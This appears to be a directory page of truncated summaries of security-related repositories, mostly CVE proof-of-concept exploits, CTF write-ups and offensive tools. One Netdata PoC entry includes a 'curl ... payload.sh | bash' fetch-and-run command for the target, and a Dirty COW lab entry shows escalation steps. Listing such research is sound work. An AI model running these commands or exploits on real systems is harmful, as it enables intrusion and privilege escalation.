bruno

Bruno - Opensource IDE for exploring and testing APIs. English | Українська | Русский | Türkçe | Deutsch | Français | Português BR | 한국어 | বাংলা | Español | Italiano | Română | Polski | 简体中文 | 正體中文 | العربية | 日本語 | ქართული | Nederlands | فارسی | हिन्दी Bruno is a new and innovative API client,...

CVE-2024-27673

CVE-2024-27673 ASUS Control Center Express = 01.06.15 - Unquoted Service Path Description: ASUS Control Center Express Version = 01.06.15 contains an unquoted service path which allows attackers to escalate privileges to the system level. Assuming attackers have write access to C:, the attackers...

memory-forensic

memory-forensic A memory forensics toolkit that profiles Windows kernels itself — and is cross-checked, process-for-process, against Volatility 3. mem4n6 reads every common dump format LiME, AVML, ELF core, Windows crash dumps, hibernation files, VMware save-states, kdump, raw… and walks processe...

CVE-2026-82539

CVE-2026-82539 Information Vendor: TOTOLINK Vendor's website: TOTOLINK Model: A720R Firmware version: V4.1.5cu.630B20250509 Firmware download address: TOTOLINK Severity CVSS v4.0 Base Score: 9.4 Critical Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P Vulnerability...

manul

Manul Manul es un fuzzer paralelo guiado por cobertura para binarios de código abierto y caja negra en Windows, Linux y macOS beta escrito en Python puro. Inicio rápido pip3 install psutil git clone https://github.com/mxmssh/manul cd manul mkdir in mkdir out echo "AAAAAA" in/test python3 manul.py...

bandwhich

bandwhich Esta es una utilidad CLI para mostrar la utilización actual de la red por proceso, conexión y IP/hostname remoto. Tabla de contenidos bandwhich Table of contents Project status How does it work? Installation Downstream packaging status Download a prebuilt binary Building from source...

gorilla

gorilla gorilla is the ultimate wordlist tool packing a lot of amazing utilities like: building wordlists based on patterns like crunch building wordlists based on common password/username formats like cupp scrap a web page and build a wordlist from its words like cewl extending existing wordlist...

CVE-2024-5633

PoC for CVE-2024-5633 Longse model LBH30FE200W cameras, as well as products based on this device, provide an unrestricted access for an attacker located in the same local network to an undocumented binary service CoolView on one of the ports. An attacker with a knowledge of the available commands...

CVE-2018-18912

🐞 CVE-2018-18912: Easy File Sharing Web Server 7.2 - Stack-Based Buffer Overflow SEH SEH-based buffer overflow in Easy File Sharing Web Server 7.2 demonstrating how an authenticated HTTP POST parameter can corrupt the exception handler chain. 📑 Table of Contents Why this repository exists Why thi...

Winrar-Exploit-CVE-2023-38831

WinRAR Exploit Builder WinForms / .NET Framework WinRAR Version Below 6.23 Overview This repository contains a small Windows desktop/console utility written in C .NET Framework 4.8 that demonstrates an archive-structure technique commonly discussed in security research contexts. About...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: bash exploit.sh In target machine run in a writable directory: curl http://:8000/payload.sh | bash It will automatically download the nvme binary, export the path, run...

CVE-2024-27674

CVE-2024-27674 Macro Expert icacls "C:\Program Files x86\GrassSoft\Macro Expert" C:\Program Files x86\GrassSoft\Macro Expert BUILTIN\Users:OICIM NT SERVICE\TrustedInstaller:IF NT SERVICE\TrustedInstaller:ICIIOF NT AUTHORITY\SYSTEM:IF NT AUTHORITY\SYSTEM:IOICIIOF BUILTIN\Administrators:IF...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 Proof-of-Concept Go Version Overview This repository contains a proof-of-concept PoC exploit for CVE-2021-25646, a critical remote code execution vulnerability in Apache Druid. The exploit is written in Go and allows for interactive command injection via the terminal. Features...

awesome-web-hacking

awesome-web-hacking Esta lista está dirigida a cualquiera que quiera aprender sobre seguridad de aplicaciones web pero no tenga un punto de partida. Puedes ayudar enviando Pull Requests para añadir más información. Si no te apetece hacer PRs, puedes escribirme en Twitter a @infoslack Tabla de...

CTFs

CTF Writeups Hey there, I'm Sean and I enjoy doing CTF problems in my spare time. My current position has me doing a lot of binary exploitation and software reverse engineering so I tend to focus on those categories. Most writeups that I see online suck and I hope these do a better job explaining...

cve-2021-4034

CVE-2021-4034 - PwnKit Polkit Local Privilege Escalation Overview This repository contains a Proof of Concept for CVE-2021-4034 , also known as PwnKit. It was developed for personal training and educational purposes only. Use only in environments you own or are explicitly authorized to test...

dirtycow-lab

dirtycow-lab Dirty COW vulnerability exploitation CVE-2016-5195 on Ubuntu 16.04.1. cat README.md :/. 4. Execution and escalation : chmod +x /dirty && /dirty → su root pass dirtyCowFun. 5. Flag : cat /root/flag.txt → 4GEEKSY0uG0tR00t. ✅ Result root@ubuntu:/home/student whoami root...

CVE-2021-35211

Serv-U CVE-2021-35211 Exploit Potential for DoS - check your rules of engagement The exploit doesn't work every time, but it works enough that it will run shellcode in roughly 1 in every 5 or 6 runs. However, sometimes a failed exploit will crash the Serv-U server. Please ensure that your rules o...

Shocker-TJNULL-OSCP-

HackTheBox: Shocker Writeup A structured and professional walkthrough showcasing the identification and manual exploitation of the critical Shellshock vulnerability, followed by local privilege escalation via misconfigured sudo rights on a Linux target. Technical Overview Target OS: Linux IP...

ZigRaceExploit

CVE-2021-25741 — TOCTOU Symlink Race Exploit in Zig Educational exploit of the TOCTOU Time Of Check, Time Of Use race condition behind CVE-2021-25741, a vulnerability in the Kubernetes kubelet. The project demonstrates locally without a K8s cluster how a concurrent symlink swap can bypass a path...